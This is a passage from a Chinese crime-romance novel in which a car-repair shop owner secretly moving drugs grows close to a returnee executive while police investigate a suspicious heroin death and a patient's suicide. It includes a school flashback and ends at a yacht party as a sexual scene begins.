周寅知道,她的父亲丁天德早就死了,死得比她还要早,现在接通这个电话的,多半是警察。在警察面前露太多次脸,对他而言可不是什么好事。 他掐着时间,在十多分钟的时候对她道:“我去厕所抽根烟。” 宋别点点头,不疑有他。在周寅离开之后,很快就看见了两个熟悉的面孔。 那是市局的两个警察,资历算深了,在宋别还没出国之前就在林钊身边见过他们,那时他们也还挺年轻的,都是大学刚毕业的热血青年,现在,明显沧桑了不少。 他们径直走到护士站,开口问:“我们是警察,丁茜的遗体在哪里,她是怎么死的,谁发现的她?” 宋别没想到他们竟然是来找丁茜的,站起身朝他们走过去,开口答道:“农药,她是喝农药自杀的,是我发现的她。” 两个警察听见声音转过头,看见宋别那张过于平静的脸,没有恐惧,也没有悲痛,只有一丝奔波而来的疲惫。 “小别?你怎么会和她有联系?” 宋别用牙齿磨了磨舌尖,忍住想抽烟的冲动,对他们说:“我们是高中同学,回国这段时间不是听说她病了,来看看,谁想到她这么想不开啊。她爸呢,怎么还惊动警局了?” 两个警察对视一眼,其中一个道:“孩子可怜,她爸也意外死亡了,今天下午刚去通知她,没想到晚上就看见了她的尸体。” “哦,是这样啊。”宋别的嘴角荡出一丝笑,坦然地说:“那也不奇怪了,尿毒症这么长时间,估计早就有这个想法,正好她爸也走了,爷俩也好黄泉路上就个伴儿。” 嘴角的笑没有刻意隐瞒,清晰可见,让两位警察都忍不住皱起了眉头。 宋别也看清了他们不悦的神色,挑眉问:“我说的有什么不对吗。” “没有,只是……”警察犹豫道,“小别,你同学去世了,你不伤心吗?” “伤心她能活过来?”她反问,朝走廊那边扬了扬下巴,说道:“她的尸体就在那里,你们去看吧。接下来应该没我什么事了,就先走了。要是还有什么要问我的,直接从我爸那儿找我就成。” 她说完,也没兴趣听他们说了什么,拿出手机给周寅发了一条消息:“我在车上等你。” 她等的时间并不长,车门很快被打开,周寅坐了上来,带着满身的烟味儿,还夹杂着一些消毒水的味道。 “周寅。”她把烟放进烟托,用打火机点燃,看着车外熙来攘往急切地为生死奔忙的人群,缓缓说道:“今晚去我家吧。” 这意味着什么,不言而喻。 “今天不行。”周寅开口拒绝,沈缚还在那里,这绝不是什么好时机,“宋别,抱歉,今天我抽不开身,下次吧。” 她没有说话,良久,朝窗外抖了抖烟灰,坦然一笑:“好,那下次。” “嗯。” “下个月我游艇到港,在上面开个庆功会,你陪我一起吧。” 周寅迅速捕捉到关键词,问道:“游艇,是要出海吗?” “嗯,大概三十四海里。” 三四十海里,那可就到了公海了,不在中国的监测范围之内。他想到什么,迅速做了决定,对宋别道:“我尽量。” 她没再说什么,很快把车开到白杨路那边,给周寅送回了家。停下车之后,他没有着急走,总觉得还是该再说些什么,却又有些哑口无言。 曾经的能言善辩早已在日复一日地沉默之中被消磨的分毫不剩,比起说出口,他更擅长行动。可是现在,得说些什么,毕竟他和眼前这个女人,已经关系匪浅了。 如果称作恋人,或许也不为过。 “周寅,”最终是宋别先开了口,看着后视镜里他的眼睛说:“我好像还没跟你说过,我知道我们,来日方长。” 周寅同样望着后视镜里她的脸,瘦削的,泛着一些惨白,嘴唇也不再鲜艳,还有几条干涩的纹路。可她还是很美。 她的脸上,她的眼里,没有什么特别的色彩,平静而冷漠。这已经不同了,没有了她平时那样的讽弄和不屑,她在向一个同类说话。那一刻,一种荒诞的苦涩从周寅的身体翻涌而来,几乎将他淹没,几乎将他吞噬,那样的感觉又来了,让他欲哭无泪。 如同灰暗的那一晚,她躺在那张窄小的床上紧闭双眼,他坐在床尾烈火焚身。 他清楚地意识到,眼前的她,不只是一个所谓的“露水情缘”,她还是他的,是他的——复乐园。 周寅喉结上下滚动了两下,牵过她的手,握紧,贴近自己的唇边,他虔诚地为她俯首片刻,说道:“我知道,我知道,宋别,谢谢你。” 宋别伸手,像抚摸一头幼兽那样覆盖住他的头顶,轻轻笑了一下:“回去吧。” 周寅下了车,站在车边看着它开走,有什么东西似乎也随她而去了。他摸出手机,拨通了孟良的号码,压低声音对那边说:“孟良,安排一下吧,剩下那批货走水路。” 13. 第 13 章 1. 我们学校特别不干人事,期末考试之后的几天还要回一次学校拿成绩,顺便开家长会,时间正好是在过年之前,这是让个别同学连年都过不好。 那时是我爸陪着我一起去的,说是见见我老师,问问我在学校的表现如何。那一路上,我心里都怀着一种胸有成竹的臭屁,又心存一种给他惊喜的愿景,故意表现得心虚起来,把自己的脸埋进围巾里。 我们来的不算早,屋里的暖气开着,各个家长已经开始聊起了育儿方法,你一句我一句地说着别人家的孩子如何如何优秀,自己家的孩子如何如何不省心。 走廊上都是我的同学,隔了几天没见,竟然还有点“小别胜新婚”的意思,我的几位狐朋狗友见我过来,也都围过来,装作懂礼貌的青少年,对我爸说叔叔好。 我爸也挺和蔼,他很高兴我能有这么多朋友,于是放心走了进去,留我在外面和他们谈天说地。 ——我偷偷看见成绩单了,在班长那里,这次考的特别差,我妈回去非把我腿给打折了不可,你们谁收留收留我。 ——别说你了,我考的也不好,入学时好歹还是前十名的呢,现在都不知道跑到哪个犄角旮旯里去了。 我接着他们的话说:要不你去他家,他去你家,你俩正好互相避避风头。 两个人听完,一块儿过来呲哒我,谢琅,你别得了便宜还卖乖了,就你考的最好,我说,你是吃什么长大的呀? 灵丹妙药。我扬唇笑笑,想接着跟他们侃大山,就听见旁边另一位趴在窗边的朋友说,你快看谢琅,你爸被包围了,嗬,可真壮观! 她这话一出,我们也都扒着窗棂看过去,我爸的坐在我的位置上,不夸张地说,都快赶得上端午节包的粽子,里三层外三层的了。有的家长还很夸张地拿了纸和笔在记,这架势,比我在电视新闻上看得传/销还要吓人。 ——妈呀,你爸可真受欢迎,等下你进去不会也被他们给吃了吧。 ——说不准,谢琅你赶紧逃命吧。 我问,能逃得了吗? 他们一致摇了摇头。 尽管我从来自视甚高,自诩天才,除了宋别再无别人能入我的眼中,但不可否认,高中那段让人回忆起来都觉得是苦难的日子,这几个我随便寻找的几个共同过路的人,为那段生活雪中送炭了。 年轻时我的不屑是真的,此时我的感恩也是真的,至少他们让我提笔之时,真的不至于无话可说,无字能写。 我们还趴在窗户上还聊着天,不知道什么时候班主任已经从办公室走了出来,手里抱着一大摞试卷,勒令我们进屋。 我和朋友们被赶进屋子,和其他同学一样,站在家长身侧,看着摆在自己位置上的成绩单。有的人愁眉苦脸,自然也有人喜笑颜开。我扫过一眼我的,数理全满,化学差了一分,语文是一百四,其他的科目也都在九十五上下徘徊,我知道,这次大概又是稳坐年级第一的宝座了。 我爸伸手拍了一下我的脑门,压低声音赞赏,说我还真不错,想要什么奖励任我挑选。 就连周围的家长,也隐约向我投来或欣赏或羡慕的目光,对自己家的孩子说,看看人家谢琅,能不能向他学习学习。人都是有虚荣心的,这次我狠狠给我爸长了一回脸,不同于生意场上的逢迎,这更像一种无心插柳柳成荫的幸运。 家长会和曾经我听惯的那些陈词滥调没有什么分别,我已经可以总结出他们的公式,关键时期,转折点,分水岭,家校共建等等,或许等十年之后还会是这样,可并不影响我们班主任的慷慨激昂。 我知道她身怀一颗济世救人之心,面对一些稚嫩年轻前途未卜的祖国花朵竭力地想劝其迷途知返,我想,或许是每一年面对的面孔都不一样,才能时时刻刻保持激情。 接下来就是颁发奖状的环节,我几乎没有从讲台上下来过,班主任站在讲台上复述我的成绩和名次,让刚才在以我爸为中心外三层的家长也听清了,我看见他们脸上惊讶又羡慕的神情,曾在他们孩子身上的那种仰望,在他们脸上又复刻了一遍。 最后颁奖结束,我手握数十张奖状从上面走下来,只有一个“进步之星”没有拿到手,其他已经是大满贯。 我走到哪里,目光跟随到哪里,离我爸较近的那个家长——我狐朋一号的母亲,倾身过来开始请教我爸教育经验,我和狐朋一号在一边挤眉弄眼,我看清她眼底对我的哀怨,最后吐了吐舌头,被班主任一记眼刀逼得转回了头。 那时的我,该怎么说,用鲜花着锦,烈火烹油来形容也不为过,以至于谁都没有料想到我会走向另一条不属于我的道路,连我自己也是。在那条路上,渐渐地,我病入膏肓。 大会表彰开完以后,就是属于家长们的小会,是我们默认的告状时间。同学们都被赶了出去,汇聚在走廊,是不是透过窗帘的缝隙向里张望。 狐朋一号说:谢琅,你的奖状都能拿来当风扇了,不知道回家我妈又该怎么念叨我,让我向你学习。 狐朋二号说:我得能学啊,鸡窝里怎么出凤凰。 狗友一号说:这次年级第一又是你了吧,不知道会不会有奖学金,记得请吃饭啊。 我没有谦虚,对他们说,你们别宰我就行。 然而这次,我们都失算了。 所有的同学都汇聚在门口,像几股水流,混杂在一起,隔壁二班的人就在我们身边,我和狐朋狗友都能听见他们的讨论。 ——宋别也太牛了吧,这次总分直接飚到了一千零四十诶,这是什么脑子啊。 她的分数已经超过了我,仅仅是语文这一项,我就扣了十分。 我无视掉狐朋狗友脸上惊讶的表情,转头朝那边看过去,那个小个儿在前门口那里,低头看着手里的小册子,和很多次见她一样,身边如同有一层结界一样,把所有人都隔开在别的世界。 我不如她,她不需要同路人,她也并不孤独。 其实那时在我的心底里,早已把她划分到了我的阵营,这个阵营里没有别人,只有我和她。 然而在往后的岁月里,我却几乎再也没有想起过这样一个人,她在我记忆里并不浓厚,远不如我那些狐朋狗友。 2. 周寅压低声音对那边说:“孟良,安排一下吧,剩下那批货走水路。” 挂断电话,抬起头,看见了站在门前的沈缚。 “缚哥。”他叫了一声,再没别的话,抬脚开始往里走。走到沈缚面前时,他伸手拦了一下:“周寅,回来的有点晚吧。” “是吗,没注意时间。”周寅把手机塞进口袋里,看向他的眼睛,“货的事你不用担心了。” 沈缚往后撤出一步,问他:“你打算怎么办,保不保险?” “放心,不会往上牵扯。缚哥,您跟我问这事儿,是不是有点坏规矩。”他也稍微侧了侧身,倚在一边的电线杆上,“上不管下,下不管上,只管看成果,结果不好就吃枪子儿,这是我入行第一天,吕哥告诉我的。” “记得还真清楚。”沈缚伸手拍了拍他的肩膀,抬脚往前走,离开了这里。 周寅看着他的背影,白杨路的路灯也是忽明忽暗的,沈缚没有开车,身影却很快消失在了一丛丛黑影里。他望着眼前的浑浊的黑夜,点燃了根烟。 今天发生了太多事,太多超出他预料和掌控的事,譬如宋别,譬如她。当时他确实是不想让沈缚对宋别起疑,或许是出于私心,也或许只是他不想赔进不相干的人。总之,他和宋别默契地在沈缚面前演了一场戏。 然后,她吻了他。像是突如其来,也像是水到渠成。至少第一次见她的时候,周寅从没想过和病床上咄咄逼人的女人发生什么关系。 然而现在,分明没有多长时间,可这一层关系却真真实实地存在了。 周寅想起她那双时常带着讽弄和轻蔑的双眼,她不擅长伪装,不,怎么会不擅长伪装呢,在沈缚面前时,她演戏演得那么好。她是根本懒得伪装,是很多人不值得她的好脸色。 想起她放下座椅,躺在上面抽烟时的场景,匪里匪气,像个土匪头子。想着想着,嘴角不自觉弯了点弧度。 怎么会有这样的女人呢,怎么会呢。 他阖上眼,或许是今天真的太过疲累,很早就睡了过去。 周寅做了一场噩梦。 梦见了两个人,林康安,丁茜。 恍然从梦里惊醒,额头上已经隐隐渗出了一些冷汗,他从床上坐起来,茫然的缓了几秒,就是在这几秒里,梦里的世界就开始悄然崩塌解体,只能从几个模糊的碎片里寻找。 像一滩黑色的,有生命的泥沼,一刻也不松懈地咬着,要把他拖进去。 还有红色的,红色的鲜血,林康安的,丁茜的。缠住他的身体,把他死命地往下拽。 房间的白炽灯还亮着,手边的床单已经被他攥出来一道道纵深的沟壑,从这里看过去,看能看见马路牙子边忽闪忽闪的昏黄路灯。没什么生息地亮着,伴随着偶尔的一阵车响。 他转身坐在床边,窗子开了一条缝隙,外面的风对着他吹,把他的脑子吹醒了几分。 周寅忍不住细数起来,到澄州的这段时间,从他手上过的人命究竟有多少条。如果不是宋别给她的那把枪,林康安毫无疑外会死在他手上,丁茜的死,也和他们脱不了干系。 他吐出一口气,不敢再去回想了,每想起一个,他好像就越清晰地看见自己,一个十恶不赦,作恶多端的匪徒。这样一个他一手造就的身份反而让他自己恐惧不安。 房间里没有挂钟,外面一片浓黑,估计已经很沉了,压得他有些喘不过来气。他不想去抽烟,尼古丁现在已经起不了什么缓解作用。 他还记得第一次抽烟的时候,那是吕澄阳递过来的一支黄鹤楼。他知道这种烟算是很好的了,给他那么一个抽不出好赖的毛头小子实在是太浪费,可是吕澄阳还是塞到了他手里,还亲自给他点了烟。他抽第一口,烟雾在嗓子里团团转,把他呛得不轻,引得满座的人哄堂大笑。 那是他确实是个毛头小子,什么都不懂,半只脚都还没进门,更遑论见血杀人,谋财害命了。 后来不知道怎么就学会了,还越抽越上瘾,慢慢地已经戒不掉,连手艺也越来越纯熟。也是,已经过了这么多年,无论如何都该纯熟了。 他想起自己前不久见丁茜的那一面,大概是和他差不多大的年纪,在病痛的折磨下被摧残的几乎不见人形,身如枯槁,瘦骨嶙峋。听见他是来讨债的,还把他请进门,把最后那些救命钱还给了他。 他想起那个苍白空洞的眼神,还有丁茜在他怀里的重量,很轻。 周寅觉得一口气压在胸口,让他无法喘息。他拿过放在桌边的手机,一时竟然不知道该联系谁。里面的联系人并不多,他比旁人都更加谨慎一些,重要的号码不记在手机里,也不写在纸上,从来都只记在脑子里。 以至于“宋别”的名字竟然都能排到前几页。他想了想,她的名字还是太靠后,于是改了一个备注,把宋给去掉,只留一个“别”。 指腹摩挲着光屏上那一个小小的字,一个另,一把刀,怪不得说人如其名呢。他看了两秒,把手指拿开,最终拨通了另一个人的电话。 凌晨的时间,那边还是很快接通,孟良的声音十分清醒:“周寅,还有什么事?” 他说:“是这样,我刚刚知道丁天德他闺女,那个叫丁茜的,今晚喝农药自杀了,没抢救过来。” “呵,死了就好,也省得我们灭口了。”孟良吐出口浊气,又像劫后余生一样庆幸:“也幸好是死了,不然万一她真知道点什么,我们可就是把脑袋栓裤腰带上了。” “也是。”周寅张了张口,吐出两个字,随后就挂断了电话。给孟良拨过去实在是个错误的决定,像他们这种人,死了人要庆幸,救活了反倒要说倒霉。 真是够荒唐的。 * 丁茜的死让整个警局的气压都很低,有一种莫名的情绪悬在他们头顶,心照不宣一样,对丁天德和丁茜的悲悯实在是大过痛恨。 一场大病就能把人逼到这路上,老天爷可真不是个东西。 小郑警察往下啐了一口,烦躁地按着自动笔的笔帽,旁边有警察受不了噪音,让他别按了。他把笔往桌子上一摔,狠狠骂了一句:“狗日的那些毒贩都不是亲娘养的吧?!” “你现在在这里骂也没什么用,还不如留着点力气把他们送进去。”警察拍拍他的肩膀:“走吧,吃饭去,听说食堂今天做了小炒肉,你不是就好这口吗。” “不去食堂,咱俩下馆子吧,我请你。” “你小子什么时候这么大方了?” “嘿嘿,旁边新开了一家馄饨馆子,便宜量还大。” 两人说着就勾肩搭背地往外走,到门口就迎面撞上一个人,把嘴一咧跟人打招呼:“小安啊,来找林局啊。” “嗯,给我爸来送个东西。”林康安对他们笑笑,客气地问了一句:“小东哥小郑哥,你们去吃饭啊?” “这不是到饭点了,林局这几天都没怎么好好吃饭,你正好劝劝他,别让他老这么上火,回来把自己身体先给搞垮了。”小东劝了两句,搂着小郑的脖子就把他给圈走了。 走出一段距离,林康安隐约听见两人说道:“哎,这么多年没见,两姐妹差别怎么就这么大,昨天跟见着小别的时候,哎,真够冷血的,一点人情味儿都没有。你说,人就死在那里,她愣是连眉头都不皱一下。” “话也不能这么说,丁茜还是她给送医院的,多少年没见的老同学,还能想着去看一面,不容易了。” 林康安微微朝那边侧头,听见他们的话,心底有点欣慰升起来,宋别这人还能知道关爱同学,很有进步了。 她回过神,朝林钊的办公室走去,他还在低着头看法医的实践报告,桌子上还摆着几张高远尸体的照片。 “爸。”林康安叫了他一声,把文件给他放在桌子上,挡住那些报告和照片,“先去吃饭,要不然胃病又该犯了。” 做警察做长了的,十个有八个都有胃病,吃饭都不规律,常常是吃到一半就去出任务,不得胃病才稀奇。 林钊摘下来眼睛,叹了口气,再看也看不出什么,就站起身跟林康安一起去了餐厅。 天气预报不怎么准,说是最高气温三十二度,可今天连三十五度都有了,从办公室到餐厅的这一小段路都热的人受不了。 林康安从冰柜里拿了一瓶可乐,插上吸管喝了一口,立马就被林钊教育了:“这些饮料含糖量这么高,少喝。” “知道了知道了林局长,就这一次。”她还是没停下动作,一下喝了小半瓶,舒爽地吐出一口气:“这两天这么紧张吗,连饭都顾不得吃。” “何止啊,一点头绪都没有,这些毒品到现在都不知道是哪里来的,晚一天查到,就可能多一个家庭家破人亡,丁茜不就是一个血淋淋的例子吗?”林钊扒拉着餐盘里的米饭,眉头都皱出一个窝来,“更可况,现在吸毒者更加趋向于低龄化,你去戒毒所看一圈,好多都是十六七岁的孩子,他们知道什么呀,年纪轻轻的,这一辈子就这么毁了。” 林康安也不知道该怎么接这句话,只能也跟着叹了一口气。这些年来她流连海外,只知道那里的贩毒集团极其猖獗,没想到国内的形势也这么严峻。□□的复吸率是百分之九十,但她知道,这个数字也是远远低估了,这意味着,只要沾上,几乎没有戒掉的可能,这辈子都会成为它的奴隶。 她想起那次在高远家楼下看见的那个男人,她看见他的胳膊上已经遍布着几个黑色的,大大小小的脓疮,那是毒疮。针孔不止是在胳膊上了,连脖子上都满是针孔。她了解一部分这方面的知识,知道需要打针已经是很很严重的了,而这种针孔在脖子上的,说明胳膊上的血管已经硬化,只能从脖子下手。 到这个地步,基本上是离死不远了。 和高远一样的结果。 “爸,你们真的觉得高远是自己吸毒过量死亡的吗?”她有些吃不下去饭,拿起筷子戳了戳盘子里的西红柿,“我见过他的尸体,他的毒瘾远没到那个地步。” “你的意思是……” “你们查过剩下的毒品吗?” 林钊的脸色很明显地一沉,似乎在权衡什么,最后终于开口道:“我们鉴定过了,高远注射的那一管海/洛/因浓度非常之高,一般的毒贩会在里面掺水,可是那一瓶没有。不止如此,他的房间里还搜出一瓶盐/酸/美/沙/酮,这是海/洛/因的替代品,戒毒人员常用这个替代,说明他有明显地戒毒倾向。这个案子尚且存疑,不能早早地就定下结论。” 他拿起手边的一瓶矿泉水,喝了一口继续说:“结合你告诉我们的你和他的交谈内容,你在尝试劝返他的时候他也有动摇,我们推断,可能是有人知道了你和他的联系,所以想要杀人灭口,小安,这些天你身边有什么不对劲吗?” 林康安很自然地想起那一晚在拆迁房想要她命的那个男人,她逃脱虎口,碍于宋别,一直没有把这件事告诉林钊。某种程度上,宋别竟然也和那个可恨的毒贩同乘一船了。 “没有,没什么不对劲的,您也知道,我这几天都待在家里,他们就是想找我也没那个胆子。”林康安说道,这么半天,餐盘里的菜也没吃上几口,她实在没什么胃口,也再吃不下去了,站起身把餐盘一推,对林钊说道:“爸,我有点难受,先回去了。” 还没等林钊说什么,她就已经先把腿迈了出去。 餐厅外面的太阳还是很大,照得人几乎睁不开眼,她跨上自己的那辆摩托,想了想,不知道为什么,决定去一趟光明修车行。当时她就是在那里遇见高远的,碰碰运气,说不定会找到其他别的线索。 车子很快开到了白杨路的光明修车行,炎炎烈日让里面机油和钢铁的味道更加浓重,一般有品牌的车都会有自己专门的4S店,来这里修车的,一部分是老破小,一部分是不想走保险增加保险金,但总之,麻雀虽小,五脏俱全。 此时门大开着,透过头盔的面罩可以看见老板在里面叼着烟摆弄一些工具。她把车停好,自顾走进去,敲了敲开着的门。 周寅听见声音看过去,眼底的惊讶一闪而过,他没有忘记这张脸,林康安。 “老板,现在有时间吗?”林康安看向他问道。 他不动声色地观察着她的神情,应了一声:“还得一会儿呢,着急吗?” “不急,能等。”林康安说道,像个好奇的客人一样打量着周围的环境。这里算得上干净,但难免会有一些工具散落到脚下,她一没注意,不知道绊到什么猛地往前一栽,正要倒下去的时候,一双手伸了过来把她稳稳扶住。 林康安抬起头看了一眼眼前的人,那是个很高大的男人,穿着一件白衬衫,上方扣子散开两颗,隐约可以看见锁骨下的皮肉。 她连忙站好,对他道谢。 “没什么,你没事吧?”沈缚问她。 林康安摇了摇头,又说了一声谢谢,转身走到一边的休息区,坐在长沙发上继续用余光观摩。 沈缚看了看她,又转头看了看周寅,两人的目光又一瞬间的交汇,就在这交汇的片刻似乎交换了什么信息,他也转过身,朝休息区走去,坐在林康安的对面。 茶几上有水壶,他倒了一杯水,推到林康安的面前。 “外面那辆摩托车是你的?”他泰然自若地问道,“很少见女孩开这种车。” 林康安点点头说:“还行,开惯了。” 他的姿态很放松,像是在两个等待中闲聊的客人:“做什么工作的?” “没什么,也就是跑跑腿,混口饭吃。”林康安不接茬,转而问他:“你经常来这里修车吗,以前还能看见一个来送材料的大叔,聊过几回天,现在都碰不到了。” “他死了。” 周寅不知道什么时候从那边走了过来,一边摘白棉手套一边说,“唉,吸毒死的,谁都没想到。” 林康安望向他,想在他的表情里找到一丝破绽,可无奈怎么看都是严丝合缝。 “这年头,吸毒的还真不少。”沈缚往嘴里呷了根烟,顺带着冷哼一声,“不知道这玩意儿有什么好。” “这东西上瘾了就戒不掉。”林康安说道,转头看周寅:“老板,是好了吗?” “不好弄,估计还得等挺长时间的,今天够呛,要不你明天再来看看吧。”周寅说话间,用余光看向她的手臂,今天天气的原因,她只穿了件无袖白棉背心,那道狰狞的伤疤像是蜈蚣一样攀咬在上面。 他明白,那是子弹擦出来的枪伤。 林康安也没套到什么有用的信息,点点头说成,转身离开了。 沈缚又抽了一口,随后伸手把嘴里的烟按灭在烟灰缸里,瞥了一眼周寅,眼神淡淡的,语气来淡:“她是谁?” “一个记者,找上过下面的人。” “走过水吗?”沈缚问。 “没。” 周寅说了谎,高远在林康安这里可不仅仅是走水这么简单,这个记者今天来这里也不晓得究竟是发现了什么,但可以确定的是,上次从拆迁房离开之后,她并没有惊动警察,大概还是顾念着宋别。 “小心行事,记住你给我的期限。”沈缚最后说了一句。 他点点头,算起来,时间也快到了,他得尽快安排好这些。 * 那场庆功会公司里来的人不少,只有几个推脱说有事没来,还都是中国人,她也依照诺言,把奖金从私人账户划到他们账上。 周寅在三层被服务生递过来一杯香槟,一手端着往下看,没想到还能看见其他颜色的人种。 “叮——”的一声,酒杯里的酒液被碰撞出两滴,宋别站在他身边同样往下看着楼下穿着比基尼和三点式的嫩模,还有一些赤/裸着上身的男模,还真是够让人眼花缭乱的。 “不晕船吧。”宋别挑眉笑。她穿了一件红色连衣裙,丝绸质地,海浪一样顺下来,铺陈包裹住她的身躯,长发在海风里起伏,有时会遮住她的脸,周寅转过头,透过那些被吹起的发丝的缝隙,还是一眼就看见了那抹艳艳唇色。 “还行。”他背身靠在身后的挡板上,仰头喝了一口杯中的酒,这酒并不浓烈,反而有一股淡淡的果香,和他平常喝过的大不相同。“你们这什么公司,怎么还有外国人?” “外企呗,总公司在纽约。”宋别也仰头把自己杯子里的酒饮尽,三楼是休息区,现在还没什么人,都聚集在一楼二楼的娱乐区玩游戏,当然也不乏有的人看上了被邀请来助兴的模特,抵在墙上就开始天作被地为床。 周寅也终于明白了宋别为什么要出海举行这一场庆功会,这要是放在中国的任何一个地方,她都没办法这么放纵。聚众赌博,聚众□□,□□□□,她或许还保持着在美利坚自由国土时的一贯作风。 宋别接着对他解释说:“我十八岁就去了美国,在那边待了很多年,交换两年,又在那边念了MBA,之后就顺理成章留在那里工作了。前段时间不是次贷危机,公司的人意识到鸡蛋不能放在一个篮子里,我就趁这个机会接手了这家子公司,没想到刚下飞机就出了车祸,再然后——” “就遇见了你。” 有服务生走过来,她就顺手把空的酒杯放在上面,腾出手拿出一根烟放进嘴里,估计是海风太大,点了很多次都没有点着火。 周寅见状,从口袋里拿出自己的——那种便利店里用来凑整送的五颜六色的塑料打火机——转身到她面前,微微弯腰低头,一只手挡住风,另一只手按下去,火苗升起来,照得宋别的脸有一瞬的灼热。 她想起他们在医院见面的那次,他就是这样一手挡着风一手点燃火,那时他们离得和现在一样近。 嘴里的“罗利”成功冒出猩红的火星,同时散发出细若游丝的一缕烈香。周寅也直起了腰,还是和以前一样有些沉默寡言:“缘分这事,不好说。” “谁说不是。”宋别往肺里吸了一口浓烟,接着吐出烟雾。 周寅说:“很少见女人抽烟,你的瘾还不小。” 宋别耸耸肩,两条细带挂在她的肩上,她的锁骨很好看,上面有一个很小的文身,像是什么别的语言,连在一起,看不出什么意思。 她接着告诉他:“我十九岁开始抽烟的,现在想戒掉就难了。那之前我在股市赚了很多,对自己太自信,以至于后来看到一支必跌的股票,直接allin做空。不止是我,很多在股票市场有嗅觉的人都这么做。后来,这家公司的产品被引进到中国,一路高歌猛进,我的国家让我一败涂地,那一年,尽管及时撤退,还是欠了十九万美金。于是就开始抽烟了。” 尽管父亲母亲在国内都身居要职,家里也有一定的财产,但十九万美金对这个家来说依旧是个天文数字。是陈斯年替她填上的这个窟窿,当时他也提醒过她做事得给自己留后路,可是她没听,偏信富贵险中求。 和陈斯年的认识也是一场极具目的性的“偶遇”。是在一场客座教授的讲座,她抱着电脑去的时候人还并不多,却在倒数第二排看见了他,她想起这张脸像极了那位经常出现在报纸上的 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他的声音缓步停滞了一下,张了张嘴,声带颤抖,接着说:“十六岁那年,父母出车祸去世了,我也就从学校离开了。那时候有爸妈护着,不知天高地厚,从来没想过以后。等自己饿肚子了才晓得苦,就什么工作都做做,后来我一个修车师傅跟我说得学点手艺,有手艺就饿不着,就干了这行。也不知道现在那群狐朋狗友现在怎么样了……” 宋别没有接话,还在沉默地抽着烟。烟雾过肺,把心底的烦躁冲淡了一点。 不是这样的,十六岁的时候,谢琅还在澄州一中,荣誉墙上面还高挂着他的照片,广播里还在播放着“我校二年一班谢琅同学在某某比赛上荣获一等奖。” 人人仰望,人人艳羡。 绝不是像他口中所说的那样,在幼稚青春里流离失所。 “真的吗?” “真的。”周寅的头微微往下低着,伸出手,暗自牵过她的手掌,像是要给予安慰一样,握紧了两下。 掌心温热的触感传来,宋别从层层疑云里回过神,反手握紧了他。 从楼下赶来的贺普正好撞见了这一幕,眼神有些尴尬地闪躲了两下,对她说:“安柏,下面的人都在叫你过去呢。” 安柏是她的英文名,Amber,这个名字没什么太大的含义,只因为它排在英文手册的第一页,而且字母没有那么繁琐,才入了宋别的眼。 “稍等一会儿,我马上。” 贺普点点头,急切地离开了。宋别抽完最后一口烟,把烟给掐掉,拉住周寅的手:“走吧,下面去玩。” 现在几乎所有的人都聚集在二楼的大厅,根据流程,很快就该到宋别给他们开“惊喜大奖”的时候,台下的人用英文欢呼着,连服务生和另请来的特殊工作人员都在俯首交谈。 这波欢呼在宋别从楼梯上走下来时抵达高潮,她站在楼梯上,给上面的人打了一个手势,服务生不知道按动了什么按钮,从甲板上慢慢升起一个圆盘。其中一个服务生用英文给他们解释着简单的游戏规则,圆盘被划分成大小不等的几分奖励,上面有一个筛子,筛子转到几点,奖励翻几倍。 论功行赏,贺普是第一个。 然而很不幸,他的点数只有一,可是他转到的奖励还不错,叫从天而降。服务生又按动了一个按钮,一个圆球从天花板上慢慢落下来,在昏暗的灯光下,圆球打开,落下漫天鲜红的纸张。 周寅站在她身边,阴影里几乎看不见他的身影。 那些金钱没有让他血脉喷薄,他只是惊叹,这样的奖励竟然和吕澄阳那些异曲同工,只是他们管这个叫点天灯。 想到这个,他忍不住低笑了一声。 宋别看过去,问他:“笑什么?” “没事,就是觉得……”周寅难得看见她脸上出现这样的疑惑,“你们这个庆功会,不太正经。” “要那么正经干什么。”宋别倚靠在栏杆上,眼神轻佻地看着他,“还是说,周老板你是什么正经人?” “在你这里我哪敢说自己是老板。” 她往下觑了一眼,气氛十分热烈,几个小姐少爷的衣服已经脱了个干净,这里面不乏来挣外快的学生,第一次见这种场面,也跟着欢呼起来。 宋别对这种场面见怪不怪,国外那几年见识的远比现在要奢靡下流的多,烟鬼毒虫醉成一片,分不清地北天南。 她收回目光,转身朝楼上踱步走去,周寅也跟在他身后,心底盘算着时间。这艘游艇计划航时是两夜一天,他们的行动在后半夜。 现在还早。 三楼的客舱空无一人,宋别的步子不知道什么时候加快了,周寅一时没跟上她,上了三楼已经寻觅不到她的身影。 “宋别。”他试着叫了一声,空旷的甲板上没有回应,只有呼啸的海风,带来点咸涩的味道。 周寅只好走进船舱内,长廊两侧全是房间,只有最里侧的一扇门开着,往外透着炽白的光,照在下面的红地毯上,像是一条迷幻之路。 他十分确信,宋别一定在那个房间里。于是周寅也踏上红色地毯,像寻宝的稚童一样向里走去,终于抵达那扇门,他站在门前,往里看着。 宋别正站在里面,用开瓶器开着一瓶酒,她似乎很费力的在旋转,周寅走过去,没费什么力气很轻松地就打开了。 她侧眼看他,从那个角度去看,她的侧脸尤其坚毅。大概是不爱笑的原因,总给人一种很不好惹的感觉。 她没去碰那瓶酒,伸手揽住他的腰。这副躯体她见过一次,在晨光下,熠熠生辉。 “周寅,让我看看你。” 她的声音似乎是被烟熏得有些哑,就是这两三分哑然,充斥别样意味。 他几乎是被逼退到床沿坐下,宋别一开始是站立的,之后直接跨坐在了他的双腿上。她也清晰地感受到,有什么东西抵着她,坚硬的,像块烧红滚烫的铁。 “宋别……”周寅叫她的名字,两个字,带着上下起伏地喘息。 宋别的唇间溢出一声轻笑,伸出手从他的衣服下摆探进去,将上衣从他身上脱了下来,因为是坐着,腹肌微微卷曲,形成一个好看的弧度。他的肌肉有些紧绷,肩膀处还蔓延着背后青黑的纹身,宋别也才发现,他的身上有一些伤痕。 不大,都是些很小的伤,月白色,和周围的皮肤完全分割。还有一道短短的凸起,这大概就是比较严重的了,上手术台缝过针。 她抚摸着他的伤疤,皱眉问:“怎么弄这么多伤?” 周寅猛然捉住她的手,像是克制着什么,压低嗓音回答她:“以前不懂事,老跟人打架。” 宋别看向被他攥住的手,用另一只点在他心口,问:“周寅,你不想吗?” “宋别,你确定吗,没有那个……” 宋别的眼神暗了暗,她沉默片刻,从他身上站了起来,没有说好,也没有说不好。而是俯身跪在了他身下,用嘴衔上他的腰带,轻轻扯开,将他的长裤慢慢扯下。 没有人可以抵得住。 周寅伸出手,握住她的脖子,把她的下巴抬起来。她的唇色依旧鲜艳,比血更浓烈,瞳孔黑沉,看着他,像是在看一头势在必得的猎物,这样一个女人啊。 